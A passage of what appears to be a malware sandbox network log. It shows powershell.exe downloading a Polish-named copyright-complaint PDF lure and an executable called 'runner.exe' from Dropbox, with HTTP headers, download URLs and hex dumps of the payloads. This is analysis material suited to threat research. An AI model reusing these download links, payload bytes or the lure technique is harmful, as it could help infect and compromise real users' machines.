Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MzM0NjE3MTc5NDI4NzU0NDM0MTM4MDc1MDE5NzU1MDcwMTMzNTU1; Path=/; Expires=Sun, 16 Dec 2029 11:12:28 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=_2Q2W0BBkFlhPjRViAY8ba-h; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:12:28 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=_2Q2W0BBkFlhPjRViAY8ba-h; Path=/; Expires=Wed, 17 Dec 2025 11:12:28 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=SsNx_C1Q6U; Path=/; Expires=Wed, 17 Dec 2025 11:12:28 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:12:28 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Tue, 17 Dec 2024 11:12:28 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 60cde1fa3d144d8192759eb47c61ddf3 Connection: close
2024-12-17 11:12:29 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49784	162.125.69.15	443	8532	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:30 UTC	370	OUT	GET /cd/0/get/CgY1MXDcZRPnakpGh47TGnd-a3ngFodvPiZea0hrqxVrT6SNLon0oI00KcKBQBdJn0HCPMD59thafM3TiVK4ToKHfRtWA5UmkkWplehqwpQ4Q6VJfmHLFb009whcAGFRH0g657Ko1YMgaP6XBG8yCRIv/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-17 11:12:31 UTC	820	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="Dokument analizy narusze? praw autorskich.pdf"; filename*=UTF-8''Dokument%20analizy%20narusze%C5%84%20praw%20autorskich.pdf Content-Security-Policy: sandbox Etag: 1734010037325237d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 175 X-Webkit-Csp: sandbox Date: Tue, 17 Dec 2024 11:12:31 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 656088 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 850c34a826b146f28576cb89e6f241b8 Connection: close
2024-12-17 11:12:31 UTC	15564	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0a 25 e2 e3 cf d3 0a 31 38 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 4c 65 6e 67 74 68 20 32 39 33 0a 2f 4e 20 33 0a 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 0a 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 7d 90 bd 4a c3 00 14 85 bf d4 82 28 8a 83 0e 1d 1c 32 38 b8 68 93 a6 69 52 70 69 22 16 d7 56 a1 a9 53 92 a6 41 ec 4f 48 53 f4 01 74 73 70 75 2b 2e be 80 e8 63 28 08 0e e2 e0 23 88 a0 b3 a4 41 52 90 78 e0 c2 c7 e1 c0 bd f7 40 ae 00 90 97 a0 3f 88 c2 46 dd 10 5b 56 5b 9c 7f 47 40 60 2a db 1d 05 64 4b 80 ef 97 24 fb bc f5 4f 2e 4b 0b 1d 6f e4 02 1f 40 14 b6 ac 36 08 1d 60 cd 4f f8 2c 66 27 e1 cb 98 4f a3 20 02 61 12 73 78 d0 30 41 b8 03 36 fd 19 76 66 d8 0d c2 38 ff 06 ec f4 7b 63 37 bd 9b 25 6f 70 d8 04 5a c0 3a 75 86 0c f1 e9 e1 Data Ascii: %PDF-1.7%18 0 obj<</Length 293/N 3/Filter /FlateDecode>>streamx}J(28hiRpi"VSAOHStspu+.c(#ARx@?F[V[G@`*dK$O.Ko@6`O,f'O asx0A6vf8{c7%opZ:u
2024-12-17 11:12:31 UTC	16384	IN	Data Raw: 7f e8 90 6c 97 39 68 a7 5d f3 dd e0 f8 62 77 23 93 24 36 55 9e 56 52 3e 16 62 ca 11 15 f9 76 5f f4 36 41 41 1b 75 c5 5f 4b f4 4f 92 36 e3 4c 27 4a e4 d7 89 da 24 e2 8b 14 92 13 3b 54 4c a2 3d 9b b4 9b 56 70 94 3b a4 a0 9a 08 ba fa 92 7e 9a 5e fe 84 c6 71 1d 91 0f e6 19 fd 59 f1 36 df 82 1f e2 46 4a be 29 2b 0e 60 bc 93 81 2e 0b 80 9e 3c 57 c4 1c af 36 f6 a5 b3 27 33 a6 1c 38 bd ba 80 5e 5d 30 28 57 28 4b d1 df b8 9a 34 f1 d8 a5 cf b5 e1 32 b6 59 07 e1 ee b0 f4 4c 72 cf 9a c8 4d 0a 5e d6 b7 53 f6 05 40 66 85 fe ff db ff 83 8d 57 dc 4c a4 03 28 e0 c5 af c4 97 55 ea 90 9f 16 67 64 f9 3e 87 a2 0b 33 7e 5b a2 eb 6b 6f 94 6a aa 22 fd be b8 a9 bf 4a 24 ef b2 d7 cd 53 0f 54 88 03 f3 33 f6 22 95 e7 af b2 d4 b7 de 78 d8 3a 52 a5 16 4d 8a 00 5c 45 21 56 4e eb f8 61 Data Ascii: l9h]bw#$6UVR>bv_6AAu_KO6L'J$;TL=Vp;~^qY6FJ)+`.<W6'38^]0(W(K42YLrM^S@fWL(Ugd>3~[koj"J$ST3"x:RM\E!VNa
2024-12-17 11:12:31 UTC	820	IN	Data Raw: c0 9e 78 ac 6a bc 47 ec e6 dc ce 0d 42 6a db dc 77 a9 3e f7 cd b1 22 e2 24 09 62 ea c0 b7 58 b3 dc d1 32 7b f8 57 8c dd 8b a7 45 0e e3 f1 a7 f1 b9 f6 70 dc f4 43 13 52 5d cd f6 d3 9f 16 94 91 b4 59 49 95 56 08 c4 da 92 9a 4a 76 2c 78 96 f0 e2 37 76 fb 66 b8 0e 9b 92 88 23 7e 7d e3 e0 64 56 b8 0e 8b 92 78 a8 14 ca 0d 3e 88 9c 82 f4 e9 5b ff f3 b4 2e 98 14 c1 44 ab af 8d 37 25 ac 5e e6 83 5a e7 e9 d1 29 61 d4 b0 b5 77 a3 15 67 9e 88 91 bd b2 7b dc 7e 1c 52 3f e1 4e 06 9b 38 9d 13 3e f3 ce e3 ea 5d 53 7a 1a 2f 49 49 51 23 52 2f f2 46 12 41 c5 3c 8c 47 04 fe a2 fa fa 29 a8 40 cf 88 4b 46 42 de f5 8e 62 da 57 df 75 4d 29 78 fa 74 7f 0d 8b 97 35 bc 59 e9 e4 6c 66 c0 38 94 1a 83 4d f5 e7 e5 23 0e e5 7d 61 d2 3c 7a 69 11 43 4f 4f da d9 21 67 13 6d 4b 11 2d cd 30 Data Ascii: xjGBjw>"$bX2{WEpCR]YIVJv,x7vf#~}dVx>[.D7%^Z)awg{~R?N8>]Sz/IIQ#R/FA<G)@KFBbWuM)xt5Ylf8M#}a<ziCOO!gmK-0
2024-12-17 11:12:32 UTC	16384	IN	Data Raw: fb 01 50 e9 9a 72 e3 97 0c 93 97 19 6e 70 d1 4d 63 57 77 39 c7 56 f3 86 4c f8 1b dd 09 3f 90 a0 27 e7 af c6 07 7b 08 86 69 f2 4d 25 e9 3f b8 4b e1 bc 8d 36 c5 df 47 d4 7e b1 2e 21 66 d0 b1 85 5c e4 1f 3f ee d2 7c 71 9c d6 d8 f1 15 eb f9 e6 66 45 3d 92 ee 0e 17 ac bf 34 1f 71 a1 f5 ce cc 2c 2f c3 4b e5 ca f0 53 27 1f 06 aa 92 e6 f2 3a 6d 46 74 fd f6 0a 9a 21 83 48 f2 da 0e 52 7d 43 ce d7 02 c7 5d cd 65 ed df 58 21 24 77 67 4b 8e cd da 87 64 fa c4 5f 4e 56 38 cb 25 f0 29 be 89 f5 75 df f7 c9 55 f6 4b 8d 23 6f 24 b3 6a e5 7f ca e6 26 d6 f1 9e 1b 36 51 92 55 0b 37 94 5c 7a 40 f9 42 fe 95 7b 7a 10 bb df 9d be 27 ce 17 16 18 b5 50 cd 33 4c 11 b8 ac 5a ad 31 f7 f8 6c e5 55 bb 7e 0d ba aa f3 a6 1b ed ea 04 0b 12 cc 8f 5b 67 33 be 1d a3 8c 80 0c c1 76 f4 9f 92 eb Data Ascii: PrnpMcWw9VL?'{iM%?K6G~.!f\?\|qfE=4q,/KS':mFt!HR}C]eX!$wgKd_NV8%)uUK#o$j&6QU7\z@B{z'P3LZ1lU~[g3v
2024-12-17 11:12:32 UTC	16103	IN	Data Raw: 79 f7 75 5c 75 9b d4 5c 90 37 42 10 38 8a 5b 7e 8f 56 ee 54 47 fa f6 e4 e5 37 9d 8e bd b6 9b 77 26 28 26 e8 c3 6a 68 c6 d7 6e 53 e8 89 71 57 c6 39 35 fe cf b0 c8 50 4a e6 74 e9 2e 98 ee 35 ae 80 ef 37 4a 2c a2 05 79 8a fc 99 04 c6 23 c2 ef a6 3a 75 f0 3a c1 4c 05 29 e4 ed 5f af 8d 3d 3d 9f 7a bf 96 dd d4 47 87 a8 4e 30 49 75 d0 20 1c b7 27 a2 37 ae cf f1 e0 24 aa 34 5f 47 8e 67 0d e8 de 0c 93 81 77 13 ee f5 52 51 08 22 b3 fe 65 6f b3 03 ce 85 a4 0f fe 83 79 9a 06 46 b8 2e 8a 84 f8 70 af e4 38 8d 64 19 60 c2 4c 38 d5 16 d8 20 ce 53 d1 45 2d a1 e0 1c af 9c 97 0b 2c 64 31 ce 82 da 5c de 1b 4d af e4 6f 25 e9 e6 52 96 15 da 49 51 68 41 36 3a c5 ac cf 33 0e 12 9d 6d 15 94 64 a6 d0 3f 11 15 88 9b 19 c4 20 98 92 d8 95 6f 04 d6 d2 cb f1 9a e8 5f 5f dc e7 dc ea cd Data Ascii: yu\u\7B8[~VTG7w&(&jhnSqW95PJt.57J,y#:u:L)_==zGN0Iu '7$4_GgwRQ"eoyF.p8d`L8 SE-,d1\Mo%RIQhA6:3md? o__
2024-12-17 11:12:32 UTC	281	IN	Data Raw: 65 bc 80 56 47 b2 98 5b a6 de 16 e0 42 e4 0c 1a 42 d3 f1 fb 5b e3 10 1e fd f7 a0 b5 40 e1 c3 cc 3e d2 e3 10 2d 8d e1 c3 78 5e b2 26 8c 04 3d a1 96 4f 67 d3 b5 88 eb a0 65 35 82 b9 3f 8d a7 7f be 05 38 26 19 de 44 2b b2 e4 90 fa 2c 4f 98 67 24 42 63 22 50 da a3 3f 68 07 bb 76 05 a0 cc 75 cd d6 92 27 c6 fe 8b e0 96 f9 f4 4b 88 d6 44 72 97 37 34 86 00 d1 f0 5b b9 e3 0b 05 90 9d ba 15 69 cd 7d 81 3e f2 ff ae 18 57 98 1b f4 d1 8f 20 98 af 12 5e e4 dd 06 2d 3c fb cb d0 97 4b 02 66 45 38 b7 73 02 8d 35 8c ff 10 f2 8f ce dd 32 c6 0a 3f ec 00 85 08 8c 6a 33 61 d2 ff 2a 0a 0d ac 80 ae 75 70 02 ca 3e 0e b6 df f8 6f de c0 9b a7 e6 e5 ae 9e 7c 2d 44 eb 2f 95 a1 c4 66 19 88 d6 98 70 5a 7d 20 e0 01 f6 da ca b4 2b 96 94 c1 82 34 dd 81 0c 48 20 23 28 95 bf fa ce 07 70 99 Data Ascii: eVG[BB[@>-x^&=Oge5?8&D+,Og$Bc"P?hvu'KDr74[i}>W ^-<KfE8s52?j3a*up>o\|-D/fpZ} +4H #(p
2024-12-17 11:12:32 UTC	16384	IN	Data Raw: 07 05 d3 04 be dc fc a7 85 80 05 49 df 00 3f d0 54 8e 84 53 0b 98 dd ff d3 0f 6c 97 d3 97 9b eb 57 41 89 93 40 43 d2 fc 5b 8e 3f 49 12 34 5a b6 06 e6 1b cc e1 f0 7a 9d 41 8f df 3a fd ce 3c 62 fe ec a0 91 a6 d5 6e 09 46 a2 b9 60 fe ef 05 f2 21 91 86 8f a9 7d 30 cd 06 fc 25 dd da 20 a9 80 af fd 4f 01 62 1a 12 74 0f 45 1e a5 3a 60 86 8e b0 77 51 47 5e 25 d2 a7 33 52 c7 2c 43 ca 72 80 e3 0f 75 cf 44 6e 15 f8 50 9f cf 5a 4d 4c 13 7c 8e f3 d2 59 1e 4a d1 92 49 0c fe ca 84 8c e3 17 43 02 16 04 62 be 18 9d 0d 5a 3d ac 85 69 5d 46 56 53 d2 71 ad 9e a6 b3 a5 95 10 63 df b4 ea 3d 24 8a aa 82 85 24 0b 60 04 83 62 43 d5 ad 45 78 46 92 e7 92 b7 49 cc be c7 36 fe 47 b1 9e 31 4a 01 3a 41 82 46 0d d5 d3 19 98 56 32 16 ee 9f 84 3d 1a 22 d0 a5 37 3e 24 ec 4e c9 e9 95 a0 7f Data Ascii: I?TSlWA@C[?I4ZzA:<bnF`!}0% ObtE:`wQG^%3R,CruDnPZML\|YJICbZ=i]FVSqc=$$`bCExFI6G1J:AFV2="7>$N
2024-12-17 11:12:32 UTC	16384	IN	Data Raw: 4f 25 e3 d3 eb a4 0d 9f 7a b7 15 c2 07 07 ad 4e 81 14 64 b2 38 ce cf 24 a1 b1 d2 7a ec ce 19 2b 85 73 67 f7 8c 0f 96 3c 36 ac 99 1e de 09 d5 b7 84 28 a5 73 ea f3 94 5d b5 be 3d bd c1 cb c4 f0 17 c6 20 30 79 05 f7 8e 13 52 09 5a 1f a7 a5 12 98 90 5f df 09 82 e0 d1 fe 29 8d 82 f7 3d 52 46 4c bd 75 fa fb b1 f0 da c0 ba 52 50 45 26 e4 d9 0f 15 1e 3d 77 67 cd 2e 31 4b 05 03 26 33 66 10 0c e1 d6 3a 58 c1 e9 be 00 f6 d4 c9 c4 d5 75 9c 1b 8c 1d 37 b6 cc e4 7a 05 19 b0 6a b3 a0 08 ca 80 20 b7 a9 ca 3a 4d 2a 78 57 61 e9 9f 25 45 88 61 26 2a db 3f 7b b3 b3 74 60 92 77 d6 3f 07 b4 b4 a2 52 23 db c3 fd ae bd 3e 53 59 ff 9b 99 22 d6 0c 0a e8 c2 d5 ba a5 0c 16 3a db 8f ce e8 4d a7 58 7a 06 65 a3 56 63 ec e8 5a 39 f2 3e 3a 7f f3 b8 60 25 b3 76 d2 28 3a 12 08 f8 95 22 b7 Data Ascii: O%zNd8$z+sg<6(s]= 0yRZ_)=RFLuRPE&=wg.1K&3f:Xu7zj :MxWa%Ea&?{t`w?R#>SY":MXzeVcZ9>:`%v(:"
2024-12-17 11:12:32 UTC	16384	IN	Data Raw: 8f d8 13 a1 12 95 e0 57 32 b8 17 bc 75 cf 82 5b 28 42 fa 52 c5 ac 5b 23 4d d8 cb 31 ce ca 49 a8 f1 ea b5 5b 9e c6 26 72 df 67 e7 5d d6 df 8e de d1 9f b0 a8 4f 2c 9b 1f a2 37 bf e2 64 a3 73 61 47 7d a2 1e 1a 48 dc 22 34 9b cf 45 5e 24 d9 84 e3 ef b5 eb c3 e6 02 af 9a 7b 07 cf 31 5d 6c 4d 20 dc fb c6 87 d6 6b 5a 68 f6 2f cf fb fa 2b fa be a4 23 6f b4 b6 cd a7 7d fb 15 58 bf cb f5 e5 dc 33 3d f1 e4 db 6f e8 d7 5f ee bb 2a 8a c1 ab d1 3a cf 59 ce ff ac 2e ae f7 b4 ce 73 5b f5 3a 30 f2 9c d3 cf 35 fe 1c 57 13 34 4c 15 c3 68 2b 6e e1 6f e1 56 17 0f 86 c4 68 c5 a1 51 9e fb 4d e5 35 ad f8 15 2f 0e 96 92 65 92 eb 8d b2 ec 47 9b 8e 35 84 25 4d 4c 53 52 99 2c 08 d8 e0 31 72 f6 6c a1 75 5e a1 ff ab 87 69 a1 ce 5f eb 35 f7 a4 fc 50 d7 0d fe 86 77 aa 7a 36 f5 51 77 79 Data Ascii: W2u[(BR[#M1I[&rg]O,7dsaG}H"4E^${1]lM kZh/+#o}X3=o_*:Y.s[:05W4Lh+noVhQM5/eG5%MLSR,1rlu^i_5Pwz6Qwy
2024-12-17 11:12:32 UTC	16384	IN	Data Raw: ea 78 00 e3 ab 11 42 b5 cc 67 c8 03 e0 d9 c1 8d 6e 9a c0 18 a7 1e 40 2c 98 58 94 15 21 98 5c 84 61 16 4c 5a 01 4e 60 7c db 38 27 09 a4 41 d4 97 07 40 c7 32 ec 30 80 87 93 31 c8 77 81 f5 ae b3 89 ac 46 52 1d 04 0f 50 86 1e 0c 4e ff b6 55 61 45 e4 ca c1 89 80 67 54 8d a0 6b 7b 81 21 6c cf c8 42 82 5e bd 53 93 85 dc 0b 62 da 91 1d 52 8c 7c 7c 40 1e c4 4d 51 8b bd 59 11 22 33 aa a4 15 32 19 f3 4a bd 70 76 23 f5 5a a7 84 74 69 aa 50 44 07 b4 76 e7 a6 09 aa 12 af 67 ed 9a b6 64 34 f9 9d 39 94 04 33 ea 4a 60 2e b1 91 e5 8c 8a fb 20 7e 78 51 8a 03 8a 29 18 8b 5a e1 24 95 7a e3 de 94 97 96 82 df ee 5a 37 3a 6e 8d ae 1b f5 5f 77 ee cd 66 dc e2 56 7a 5c 37 db 30 e0 56 b6 b9 56 80 36 b4 31 60 ea 86 a8 a0 50 af e2 85 19 41 ce 32 da a7 53 95 7c 52 c9 97 03 2a eb 68 a0 Data Ascii: xBgn@,X!\aLZN`\|8'A@201wFRPNUaEgTk{!lB^SbR\|\|@MQY"32Jpv#ZtiPDvgd493J`. ~xQ)Z$zZ7:n_wfVz\70VV61`PA2S\|R*h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49803	162.125.67.18	443	8532	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:35 UTC	212	OUT	GET /scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com
2024-12-17 11:12:36 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.com/cd/0/get/CgbAyJXP1G3lks-wJve3nDWamXUffiADL-YUaZhs-plP6y8LMsMF0jJ4ZviDIk2br3__kCv01HrtzEuctv_DKHlIJSCi92AlRRvpqZO2DzRqafJ2vudnZyCDLA1VK8XteiQ2T5aCPiToB0VJzJ_Tr_jd/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTg3NjQzMzA3MzA1ODkyNDQ3MjY2ODA3ODc2Mzg1ODM3MTU1Mjc0; Path=/; Expires=Sun, 16 Dec 2029 11:12:36 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=YIryyh_h_Z3YOTY2JEZDYOu5; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:12:36 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=YIryyh_h_Z3YOTY2JEZDYOu5; Path=/; Expires=Wed, 17 Dec 2025 11:12:36 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=GcRwIEf76Q; Path=/; Expires=Wed, 17 Dec 2025 11:12:36 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:12:36 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Tue, 17 Dec 2024 11:12:36 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 512f5500bbd543c78fe1b6b25e07cc41 Connection: close
2024-12-17 11:12:36 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49819	162.125.69.15	443	8532	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:38 UTC	370	OUT	GET /cd/0/get/CgbAyJXP1G3lks-wJve3nDWamXUffiADL-YUaZhs-plP6y8LMsMF0jJ4ZviDIk2br3__kCv01HrtzEuctv_DKHlIJSCi92AlRRvpqZO2DzRqafJ2vudnZyCDLA1VK8XteiQ2T5aCPiToB0VJzJ_Tr_jd/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-17 11:12:40 UTC	739	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="runner.exe"; filename*=UTF-8''runner.exe Content-Security-Policy: sandbox Etag: 1734099436681829d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 610 X-Webkit-Csp: sandbox Date: Tue, 17 Dec 2024 11:12:39 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 25100288 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 18c69d69bc8d464685a0636d50808d17 Connection: close
2024-12-17 11:12:40 UTC	15645	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7a b1 4e 09 3e d0 20 5a 3e d0 20 5a 3e d0 20 5a a9 14 5e 5a 3a d0 20 5a 19 16 5d 5a 7d d0 20 5a c1 f0 24 5a 3c d0 20 5a 6a f3 11 5a 3f d0 20 5a 19 16 4d 5a a0 d1 20 5a 3b dc 7d 5a 3c d0 20 5a fd df 40 5a 3f d0 20 5a fd df 7d 5a 25 d0 20 5a fd df 7f 5a 3d d0 20 5a 19 16 5b 5a 38 d0 20 5a 3e d0 21 5a 38 d1 20 5a 19 16 4e 5a ee dc 20 5a 19 16 5a 5a 3f d0 20 5a 19 16 5c 5a 3f d0 20 Data Ascii: MZ@(!L!This program cannot be run in DOS mode.$zN> Z> Z> Z^Z: Z]Z} Z$Z< ZjZ? ZMZ Z;}Z< Z@Z? Z}Z% ZZ= Z[Z8 Z>!Z8 ZNZ ZZZ? Z\Z?
2024-12-17 11:12:40 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 81 ec 04 01 00 00 6a 01 6a 1a 68 e0 85 99 01 6a 00 ff 15 90 0d 9d 02 68 10 7d 68 01 68 04 01 00 00 68 e0 85 99 01 e8 e8 5a 5b 00 83 c4 0c 6a 00 68 e0 85 99 01 6a 00 ff 15 94 0d 9d 02 68 e0 85 99 01 8d 44 24 04 68 04 01 00 00 50 e8 f1 5b 5b 00 68 34 7f 68 01 8d 4c 24 10 68 04 01 00 00 51 e8 ae 5a 5b 00 68 bc 7c 68 01 8d 54 24 1c 68 04 01 00 00 52 e8 9a 5a 5b 00 8b 8c 24 30 01 00 00 8b 94 24 2c 01 00 00 83 c4 24 8d 04 24 50 51 52 68 98 7f 68 01 68 b0 7f 68 01 68 a8 7f 68 01 ff 15 9c 0a 9d 02 81 c4 04 01 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: jjhjh}hhhZ[jhjhD$hP[[h4hL$hQZ[h\|hT$hRZ[$0$,$$PQRhhhhhh
2024-12-17 11:12:40 UTC	739	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii:
2024-12-17 11:12:40 UTC	16384	IN	Data Raw: d8 1b c0 f7 d8 c3 cc cc cc cc cc cc cc cc cc cc 0f b6 44 24 04 0f b6 80 b8 77 88 01 d1 e8 83 e0 01 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 89 41 14 c2 04 00 cc cc cc cc cc cc 8b 44 24 04 89 41 18 c2 04 00 cc cc cc cc cc cc 8b 44 24 04 89 41 1c c2 04 00 cc cc cc cc cc cc e9 19 31 5b 00 cc cc cc cc cc cc cc cc cc cc cc e9 4f 18 5b 00 cc cc cc cc cc cc cc cc cc cc cc e9 29 33 5b 00 cc cc cc cc cc cc cc cc cc cc cc 83 c1 08 b8 01 00 00 00 f0 0f c1 01 c3 cc cc cc 8b 41 0c c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 08 8b 4c 24 04 50 51 b9 a8 32 9a 02 e8 5c 6a 4e 00 c3 cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 50 b9 a8 32 9a 02 e8 71 5e 4e 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8d 51 08 83 c8 ff f0 0f c1 02 48 a9 ff ff ff Data Ascii: D$wD$AD$AD$A1[O[)3[AD$L$PQ2\jND$P2q^NQH
2024-12-17 11:12:40 UTC	16088	IN	Data Raw: 89 48 04 c3 cc cc cc cc cc cc cc cc cc cc cc cc 53 33 db 83 c8 ff 56 8b f1 8d 4e 28 88 1e 88 5e 01 88 5e 02 88 5e 03 89 46 08 89 46 10 89 46 14 89 46 18 89 5e 1c 89 5e 20 e8 22 fc ff ff 89 5e 2c 8b c6 5e 5b c3 cc cc cc cc cc cc cc cc cc cc 8b 44 24 08 85 c0 75 05 e8 73 99 4e 00 50 e8 9d 99 4e 00 6a ff 50 8d 44 24 14 6a 04 50 e8 ac ec 5a 00 8b 54 24 18 8d 4c 24 1c 51 68 34 92 68 01 52 e8 fa f9 ff ff 83 c4 20 c3 cc cc cc cc cc cc 6a ff 68 18 60 52 01 64 a1 00 00 00 00 50 56 a1 ac e8 8e 01 33 c4 50 8d 44 24 08 64 a3 00 00 00 00 8b 74 24 24 83 fe 0a 75 0b a1 48 b4 99 01 85 c0 74 02 ff d0 b9 54 b4 99 01 c7 44 24 24 54 b4 99 01 e8 d9 84 00 00 8b 44 24 1c 8b 4c 24 18 85 c9 c7 44 24 10 00 00 00 00 89 70 14 c7 40 10 00 00 00 00 74 05 e8 c6 af 00 00 b9 54 b4 99 01 Data Ascii: HS3VN(^^^FFFF^^ "^,^[D$usNPNjPD$jPZT$L$Qh4hR jh`RdPV3PD$dt$$uHtTD$$TD$L$D$p@tT
